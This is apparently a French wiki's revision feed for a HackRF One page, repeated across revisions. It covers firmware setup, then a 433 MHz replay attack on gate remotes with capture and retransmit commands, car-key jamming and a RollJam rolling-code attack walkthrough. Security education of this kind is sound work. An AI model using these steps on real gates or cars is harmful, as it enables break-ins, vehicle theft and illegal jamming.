Pour démarrer le &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;, court-circuitez deux broches sur l'une des &amp;lt;b&amp;gt;en-têtes &amp;quot;BOOT&amp;quot;&amp;lt;/b&amp;gt; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches &amp;lt;b&amp;gt;1&amp;lt;/b&amp;gt; et &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt; de &amp;lt;b&amp;gt;l'en-tête P32&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;L'en-tête P32&amp;lt;/b&amp;gt; est étiqueté &amp;lt;b&amp;gt;P2_8&amp;lt;/b&amp;gt; sur la plupart des &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; mais peut être étiqueté &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt; sur les &amp;lt;b&amp;gt;prototypes&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;La broche 1&amp;lt;/b&amp;gt; est étiquetée &amp;lt;b&amp;gt;VCC&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;La broche 2&amp;lt;/b&amp;gt; est &amp;lt;b&amp;gt;la broche centrale&amp;lt;/b&amp;gt;. Après le &amp;lt;b&amp;gt;démarrage DFU&amp;lt;/b&amp;gt;, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; est prêt à recevoir un &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; dont le nom de fichier se termine par &amp;lt;b&amp;gt;.dfu&amp;lt;/b&amp;gt;, et non un &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; se terminant par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; (prior to release 2021.03.1) nécessitent une &amp;lt;b&amp;gt;étape supplémentaire&amp;lt;/b&amp;gt; pour programmer un flux binaire dans le &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt;, mettez d'abord à jour le &amp;lt;b&amp;gt;microprogramme flash SPI&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;libhackrf&amp;lt;/b&amp;gt; et &amp;lt;b&amp;gt;hackrf-tools&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt; a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93564</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93564"/>
		<updated>2023-12-02T16:06:20Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Installation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire &amp;lt;b&amp;gt;firmware-bin&amp;lt;/b&amp;gt; de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez &amp;lt;b&amp;gt;compiler le vôtre&amp;lt;/b&amp;gt; à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; installé dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; a été endommagé ou si vous programmez un &amp;lt;b&amp;gt;HackRF fait maison&amp;lt;/b&amp;gt; pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus.&lt;br /&gt;
&lt;br /&gt;
Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;DFU Boot&amp;lt;/b&amp;gt;).&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt; dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (D&amp;lt;b&amp;gt;FU Boot&amp;lt;/b&amp;gt;) n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur &amp;lt;b&amp;gt;LPC4330&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; démarre à partir de la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;SPIFI&amp;lt;/b&amp;gt;). Il est également possible de démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU Boot&amp;lt;b&amp;gt; (USB). En &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt;, le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme &amp;lt;b&amp;gt;DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;Device Firmware Update&amp;lt;/b&amp;gt;) via USB, puis exécute ce code à partir de la RAM. Le &amp;lt;b&amp;gt;SPIFI&amp;lt;/b&amp;gt; est normalement inutilisé et non modifié en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;, maintenez &amp;lt;b&amp;gt;le bouton DFU&amp;lt;/b&amp;gt; enfoncé tout en l'allumant ou en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; et en le relâchant. Relâchez le bouton &amp;lt;b&amp;gt;DFU&amp;lt;/b&amp;gt; lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est prêt à recevoir le &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode DFU&amp;lt;/b&amp;gt;, court-circuitez deux broches sur l'une des &amp;lt;b&amp;gt;en-têtes &amp;quot;BOOT&amp;quot;&amp;lt;/b&amp;gt; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches &amp;lt;b&amp;gt;1&amp;lt;/b&amp;gt; et &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt; de &amp;lt;b&amp;gt;l'en-tête P32&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;L'en-tête P32&amp;lt;/b&amp;gt; est étiqueté &amp;lt;b&amp;gt;P2_8&amp;lt;/b&amp;gt; sur la plupart des &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; mais peut être étiqueté &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt; sur les &amp;lt;b&amp;gt;prototypes&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;La broche 1&amp;lt;/b&amp;gt; est étiquetée &amp;lt;b&amp;gt;VCC&amp;lt;/b&amp;gt;. &amp;lt;b&amp;gt;La broche 2&amp;lt;/b&amp;gt; est &amp;lt;b&amp;gt;la broche centrale&amp;lt;/b&amp;gt;. Après le &amp;lt;b&amp;gt;démarrage DFU&amp;lt;/b&amp;gt;, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt; est prêt à recevoir un &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; dont le nom de fichier se termine par &amp;lt;b&amp;gt;.dfu&amp;lt;/b&amp;gt;, et non un &amp;lt;b&amp;gt;micrologiciel&amp;lt;/b&amp;gt; se terminant par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; du &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; (prior to release 2021.03.1) nécessitent une &amp;lt;b&amp;gt;étape supplémentaire&amp;lt;/b&amp;gt; pour programmer un flux binaire dans le &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt;, mettez d'abord à jour le &amp;lt;b&amp;gt;microprogramme flash SPI&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;libhackrf&amp;lt;/b&amp;gt; et &amp;lt;b&amp;gt;hackrf-tools&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le &amp;lt;b&amp;gt;CPLD&amp;lt;/b&amp;gt; a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93563</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93563"/>
		<updated>2023-12-02T15:55:04Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Si nécessaire seulement: Récupération du SPI Flash Firmware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
